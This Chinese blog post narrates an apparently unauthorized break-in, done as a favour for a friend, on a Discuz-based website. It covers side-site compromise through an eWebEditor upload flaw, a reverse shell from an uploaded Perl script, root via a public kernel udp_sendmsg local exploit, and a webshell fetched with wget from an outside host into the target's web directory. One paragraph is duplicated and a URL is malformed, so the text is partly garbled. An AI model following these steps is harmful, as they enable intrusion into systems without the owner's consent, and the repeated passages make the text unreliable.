一次linux入侵提权到搞定目标网站
刚上qq,一朋友叫我搞个网站。闲着无事打开一看是dz的,我手里没有0day只好旁注了。发现一站有ewebeditor的php版,登录后台添加了样式加上php,结果上传php马不成功。后来通过网站的说明文件才知道ewebeditor后台的样式只有abc管用,老规矩搞到一shell。拿到shell一看是linux的,想着先跨站。shell浏览目标站不行,命令行下输入ls
-la /www.users/目标站/
也不行。连接mysql,想out个shell到目标站也失败了。没办好,只好溢出了。上传1.pl反弹个shell到cmd。uname
-r查看版本,2.6.18的,马上想到udev,试了不行。然后去天阳那里的exp一个一个下了试了 还是不行。
最后只好去http://www.milw0rm.com/看看
搜索2.6出来好多,最终Linux Kernel < 2.6.19 udp_sendmsg Local Root Exploit
(x86/x64)这个0day溢出成功,拿到root权限,pwd列出当前目录。然后cd到目标站目录。wget http://http://hi.baidu.com/bian花/shell.txt mv shell.txt
shell.php。兴冲冲的去打开shell。结果提示"CGI/PHP程序错误: 该脚本不允许执行"。无语了以为权限不够,直接chmod 777
shell.php 还是提示那个错误。网上搜索了下 有人提到 chown ftpd: xxxx.php ,试了继续悲剧。
其实有root权限了,能做许多事,当初touch个a.php 然cat追加写入一句话,还是那个错误提示。当然我们完全可以查看论坛的conn文件,只是我一心想着在目标站写个shell
http://www.milw0rm.com/看看 搜索2.6出来好多,最终Linux Kernel < 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)这个0day溢出成功,拿到root权限,pwd列出当前目录。然后cd到目标站目录。wget http://http://hi.baidu.com/bian花/shell.txt mv shell.txt shell.php。兴冲冲的去打开shell。结果提示"CGI/PHP程序错误: 该脚本不允许执行"。无语了以为权限不够,直接chmod 777 shell.php 还是提示那个错误。网上搜索了下 有人提到 chown ftpd: xxxx.php ,试了继续悲剧。
其实有root权限了,能做许多事,当初touch个a.php 然cat追加写入一句话,还是那个错误提示。当然我们完全可以查看论坛的conn文件,只是我一心想着在目标站写个shell
使用权限 : root
使用方式 : chown [-cfhvR] [--help] [--version] user[:group] file...
说明 : Linux/Unix 是多人多工作业系统,所有的档案皆有拥有者。利用 chown 可以将档案的拥有者加以改变。一般来说,这个指令只有是由系统管理者(root)所使用,一般使用者没有权限可以改变别人的档案拥有者,也没有权限可以自己的档案拥有者改设为别人。只有系统管理者(root)才有这样的权限
chown这个命令是查看文件的所有者,对于这个说法是有误的,当时也打错了